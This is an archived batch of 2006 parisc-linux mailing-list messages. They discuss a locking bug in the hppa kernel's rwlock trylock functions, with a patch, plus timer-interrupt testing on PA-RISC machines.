NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624165 20791 80.91.229.3 (22 Nov 2014 02:42:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@scarlet.be>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 03:59:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx023) with SMTP; 31 Aug 2006 05:59:44 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CDD487D7B0;
	Wed, 30 Aug 2006 21:59:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 18954-01; Wed, 30 Aug 2006 21:59:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D5DCA7D79E;
	Wed, 30 Aug 2006 21:59:37 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EA3D07D79C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 21:59:34 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17470-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 21:59:33 -0600 (MDT)
Original-Received: from mail.parisc-linux.org (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id C79137D79B
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 21:59:33 -0600 (MDT)
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id 6900E494015; Wed, 30 Aug 2006 21:59:33 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <44F5F3CB.30806@scarlet.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: gyTDLNB2ZDI4DLHGdWY2X9xxemhmYwEo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23931

On Wed, Aug 30, 2006 at 08:23:39PM +0000, Joel Soete wrote:
> Hello all,
> 
> I noticed that:
> static  __inline__ int __raw_write_trylock(raw_rwlock_t *rw)
> {
>         __raw_spin_lock(&rw->lock);
>         if (rw->counter != 0) {
>                 /* this basically never happens */
>                 __raw_spin_unlock(&rw->lock);
> 
>                 return 0;
>         }
> 
>         /* got it.  now leave without unlocking */
>         rw->counter = -1; /* remember we are locked */
>         return 1;
> }
> 
> 
> so depending the counter is null or not the lock is kept or relaxed?
> 
> following my smp pb invextigation the pb I encounter seems to occure rarely 
> and so according to above comment "/* this basically never happens */" I 
> place here a panic() in the hope to get a better trace if it start to hang 
> by this place. Unfortunately the comment is wrong and system panicing at 
> boot time ;-(

The comment isn't wrong.  It just means that the contention only happens
when there's actual write-lock contention.

> Looking to some other implementation (powerpc and sh in particular), I 
> don't have the feeling that this fnct should have to keep the lock in any 
> case. Any idea?

That's how it works.  Write locks keep the spinlock locked, read locks
release it.  Actually, there is a problem with the write locks that I
noticed during replying to this mail the first time.  Then palinux
crashed.  How ironic.  Grant and I are fixing that right now ...
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] some more questions about __raw_write_trylock()
	hppa implementation
Date: Thu, 31 Aug 2006 00:06:37 -0600
Lines: 84
Approved: news@gmane.org
Message-ID: <20060831060637.GF3999@colo.lackof.org>
References: <44F5F3CB.30806@scarlet.be>
	<20060831035932.GB4919@parisc-linux.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624166 20795 80.91.229.3 (22 Nov 2014 02:42:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:46 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 31 Aug 2006 06:06:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 31 Aug 2006 08:06:52 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C5F7E7D7D1;
	Thu, 31 Aug 2006 00:06:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20323-04; Thu, 31 Aug 2006 00:06:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0E06F7D7A8;
	Thu, 31 Aug 2006 00:06:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 90A4E7D79E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 00:06:41 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20323-01 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 00:06:40 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 527097D79C
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 31 Aug 2006 00:06:40 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id B0EE33D8279;
	Thu, 31 Aug 2006 00:06:39 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01423-08; Thu, 31 Aug 2006 00:06:38 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 0C6383D8277; Thu, 31 Aug 2006 00:06:38 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20060831035932.GB4919@parisc-linux.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: GhieCYF9bHIyX63NNjQ0qMMqJihyahBo
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23932

On Wed, Aug 30, 2006 at 09:59:32PM -0600, Matthew Wilcox wrote:
> Actually, there is a problem with the write locks that I
> noticed during replying to this mail the first time.
> Then palinux crashed.  How ironic.
> Grant and I are fixing that right now ...

Willy,
Here's the patch I ended up with.
Diff is also parked on gsyprf11:~grundler/diff-2.6.18-rc4-pa4-rwlocks-01

This is currently running on iodine (a500-5x).
I don't know how this needs to be tested other than running
"make -j4" on the kernel build. Maybe glibc/toolchain build?

Please feel free to apply with your own commit comment, additional
changes, and S-o-B line.

And kudos for catching this. It's another non-trivial problem that's
been around for a while.

thanks,
grant

Commit Comment:
	We can't use generic__raw_read_trylock() since that will hang instead
	of returning a failure if the rwlock->lock isn't available.
	Similarly, __raw_write_trylock() is broken in that it would
	hang too instead of returning a failure.

Signed-off-by: Grant Grundler <grundler@parisc-linux.org>


diff --git a/include/asm-parisc/spinlock.h b/include/asm-parisc/spinlock.h
index a93960e..d4048a6 100644
--- a/include/asm-parisc/spinlock.h
+++ b/include/asm-parisc/spinlock.h
@@ -60,7 +60,6 @@ static inline int __raw_spin_trylock(raw
  * but only one writer.
  */
 
-#define __raw_read_trylock(lock) generic__raw_read_trylock(lock)
 
 /* read_lock, read_unlock are pretty straightforward.  Of course it somehow
  * sucks we end up saving/restoring flags twice for read_lock_irqsave aso. */
@@ -68,19 +67,25 @@ #define __raw_read_trylock(lock) generic
 static  __inline__ void __raw_read_lock(raw_rwlock_t *rw)
 {
 	__raw_spin_lock(&rw->lock);
-
 	rw->counter++;
-
 	__raw_spin_unlock(&rw->lock);
 }
 
 static  __inline__ void __raw_read_unlock(raw_rwlock_t *rw)
 {
 	__raw_spin_lock(&rw->lock);
-
 	rw->counter--;
+	__raw_spin_unlock(&rw->lock);
+}
+
+static  __inline__ int __raw_read_trylock(raw_rwlock_t *rw)
+{
+	if (!__raw_spin_trylock(&rw->lock))
+		return 0;
 
+	rw->counter++;
 	__raw_spin_unlock(&rw->lock);
+	return 1;
 }
 
 /* write_lock is less trivial.  We optimistically grab the lock and check
@@ -121,15 +126,15 @@ static  __inline__ void __raw_write_unlo
 
 static  __inline__ int __raw_write_trylock(raw_rwlock_t *rw)
 {
-	__raw_spin_lock(&rw->lock);
+	if (!__raw_spin_trylock(&rw->lock))
+		return 0;
+
 	if (rw->counter != 0) {
-		/* this basically never happens */
 		__raw_spin_unlock(&rw->lock);

From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] timer_interrupt and gettimeoffset.
Date: Wed, 30 Aug 2006 16:23:38 -0400
Lines: 35
Approved: news@gmane.org
Message-ID: <119aab440608301323w309debf2g6635ce4757ac024b@mail.gmail.com>
References: <J4TKVV$8AA4E9E98C79A1A2778C0CBF8A96F048@scarlet.be>
	<20060830165211.GA3999@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624166 20797 80.91.229.3 (22 Nov 2014 02:42:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:46 +0000 (UTC)
Cc: Joel Soete <soete.joel@scarlet.be>,
 parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Aug 2006 20:23:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx092) with SMTP; 30 Aug 2006 22:23:49 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C65407D6DD;
	Wed, 30 Aug 2006 14:23:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13923-01; Wed, 30 Aug 2006 14:23:44 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C728B7D6B5;
	Wed, 30 Aug 2006 14:23:42 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2683A7D6A9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 14:23:40 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12963-07 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 14:23:39 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.227])
	by free.linux.hp.com (Postfix) with ESMTP id E64587D6A8
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 14:23:38 -0600 (MDT)
Original-Received: by wx-out-0506.google.com with SMTP id h31so367454wxd
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 13:23:38 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=uYcD9PJvI/jSB38SvIOXUCwDVKLh99sdcrLr0JPf2HX/4lBWG/tnjrGXXuaGYTCkmqJLL+SZ525lvGIuCTE5V+/Xxe8NbtDS2RaWdF1+6Gh7aP9TCLzjStXaeJI9485cdQ0Tj7RhctKlnr69OYJosiBLZl/APKCzzgPErhW0vkY=
Original-Received: by 10.90.100.2 with SMTP id x2mr12183agb;
	Wed, 30 Aug 2006 13:23:38 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Wed, 30 Aug 2006 13:23:38 -0700 (PDT)
In-Reply-To: <20060830165211.GA3999@colo.lackof.org>
Content-Disposition: inline
X-Google-Sender-Auth: 7c8ef9d49b4f5a4a
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5InALNB2ZDI4DLHGdWY2j3BxemhmY8Gi
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23933

On 8/30/06, Grant Grundler <grundler@parisc-linux.org> wrote:
> On Wed, Aug 30, 2006 at 06:38:19PM +0200, Joel Soete wrote:
> > > 1. The timer interrupt fires, and 'now' comes after 'next_tick'
> > mmm (just a thought) what's up if now comes after next_tick but cr16 has
> > already wrap 1, 2, ... times?
>
> Every ~4 seconds a 32-bit cycle counter running 1Ghz will wrap.
> If it wraps twice between any two interrupts, I think we are already screwed.
> There is no way to detect that with a 32-bit kernel.  My hope is the same
> bug is visible on 64-bit kernel where we have 30 billion or so seconds
> before the counter will wrap.
>
> > > reported problems. Guy, would you mind patching your kernel with this
> > > patch and testing again?
> >
> > Make sense to me but patch doesn't works for me on b2k 32bit kernel ;-(
> > it was hanging (no error msg on lcd display) just after "Memory: 262144k
> > available" then I have to force reboot power off/on cycle.
>
> I'll give it a go as well.

It actaully turns out I don't think I ever booted this patch, my
palo.conf was hosed and I was writing the wrong kernel. It was too
good to be true :)

I'll have a go at testing this again tonight.

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] some more questions about __raw_write_trylock() hppa
	implementation
Date: Wed, 30 Aug 2006 20:23:39 +0000
Lines: 37
Approved: news@gmane.org
Message-ID: <44F5F3CB.30806@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624166 20800 80.91.229.3 (22 Nov 2014 02:42:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:46 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Aug 2006 20:23:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx026) with SMTP; 30 Aug 2006 22:23:59 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 30C607D6E6;
	Wed, 30 Aug 2006 14:23:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13923-05; Wed, 30 Aug 2006 14:23:54 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5166E7D6E1;
	Wed, 30 Aug 2006 14:23:53 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E77B57D6E0
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 14:23:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 13628-05 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 14:23:47 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 56F007D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 14:23:47 -0600 (MDT)
Original-Received: from (ip-213-49-71-252.dsl.scarlet.be [213.49.71.252]) 
	by oola.is.scarlet.be  with ESMTP id k7UKNiO30926; 
	Wed, 30 Aug 2006 22:23:44 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.13) Gecko/20060809 Debian/1.7.13-0.3
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 18vAcPBWRkkeaauPfGRqpXVmdWkvKJPd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23934

Hello all,

I noticed that:
static  __inline__ int __raw_write_trylock(raw_rwlock_t *rw)
{
         __raw_spin_lock(&rw->lock);
         if (rw->counter != 0) {
                 /* this basically never happens */
                 __raw_spin_unlock(&rw->lock);

                 return 0;
         }

         /* got it.  now leave without unlocking */
         rw->counter = -1; /* remember we are locked */
         return 1;
}


so depending the counter is null or not the lock is kept or relaxed?

following my smp pb invextigation the pb I encounter seems to occure rarely and so according to above comment "/* this basically 
never happens */" I place here a panic() in the hope to get a better trace if it start to hang by this place. Unfortunately the 
comment is wrong and system panicing at boot time ;-(

Looking to some other implementation (powerpc and sh in particular), I don't have the feeling that this fnct should have to keep the 
lock in any case. Any idea?

Thanks,
	Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gettimeofday() issue on D270
Date: Wed, 30 Aug 2006 19:58:05 -0400
Lines: 14
Approved: news@gmane.org
Message-ID: <20060830235805.GJ3926@athena.road.mcmartin.ca>
References: <20060827151741.fe94122d.gmsoft@tuxicoman.be>
	<119aab440608271231j3856ea27h7c03e1c9722ae7e1@mail.gmail.com>
	<20060827222653.3f3ef48d.gmsoft@tuxicoman.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624167 20806 80.91.229.3 (22 Nov 2014 02:42:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 30 Aug 2006 23:59:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx027) with SMTP; 31 Aug 2006 01:59:27 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1C6857D78A;
	Wed, 30 Aug 2006 17:59:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16214-01; Wed, 30 Aug 2006 17:59:22 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 318157D781;
	Wed, 30 Aug 2006 17:59:21 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 60B3C7D77D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 17:59:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15628-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 17:59:18 -0600 (MDT)
Original-Received: from stout.engsoc.carleton.ca (stout.engsoc.carleton.ca
	[134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 2AD567D774
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 30 Aug 2006 17:59:18 -0600 (MDT)
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 1ACDF58412B;
	Wed, 30 Aug 2006 19:59:17 -0400 (EDT)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id A6DEC584125;
	Wed, 30 Aug 2006 19:59:16 -0400 (EDT)
Original-Received: from athena.road.mcmartin.ca
	(CPE0013d4367761-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.171])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 36C2723E06;
	Wed, 30 Aug 2006 19:59:16 -0400 (EDT)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id 70A4A3B06A; Wed, 30 Aug 2006 19:58:05 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <20060827222653.3f3ef48d.gmsoft@tuxicoman.be>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
